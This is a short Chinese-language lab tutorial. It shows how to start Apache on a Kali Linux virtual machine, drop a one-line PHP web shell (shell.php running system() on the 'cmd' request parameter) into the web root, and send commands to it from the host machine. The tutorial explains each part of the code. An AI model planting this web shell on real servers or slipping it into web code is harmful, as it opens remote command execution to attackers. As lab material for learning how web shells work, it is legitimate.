实验设备
一台装有Kali Linux虚拟机的电脑
实验步骤
一、开启Kali Linux 的apache
使用Kali的终端,输入代码
service apache2 start
如图
二、apache服务开启后,可用物理机访问虚拟机的ip,我这里的ip是172.XX.XX.XX,在浏览器上访问,局部图如下
三、在Kali的文件系统里面,/var/www/html/目录即为物理机访问的地址,正常情况下直接访问是进入的索引界面,既index.html,现在往虚拟机里面放入一个php文件,可以将其命名为shell.php文件内包含一句话代码:
<?php
system($_REQUEST ['cmd']);
?>
对这段代码分析:
<?php 和 ?>:这是PHP代码的开头和结尾标记。所有在这之间的内容都将被PHP解释器执行。
system() 函数:
system() 是PHP中的一个函数,用于执行外部程序,并显示输出。它接受一个字符串参数,该字符串代表要执行的命令。
例如,system(‘ls -la’) 将在类Unix系统上列出当前目录的文件和目录。
$ _ REQUEST 数组:
$ _REQUEST 是一个包含了GET、POST和COOKIE数据的数组。这意味着,如果请求中包含名为cmd的GET参数、POST参数或COOKIE,其值都将被 $ _REQUEST[‘cmd’]获取。(注意半角全角)
例如,如果URL是http://example.com/page.php?cmd=ls -la,那么$_REQUEST[‘cmd’]的值将是ls -la。
四、这时候物理机已经完全可以骇入Kali了,可以通过访问shell.php来远程操控Kali,下面举例一些操控的例子:
1、通过使用ifconfig查看IP信息
2、通过echo 输出haha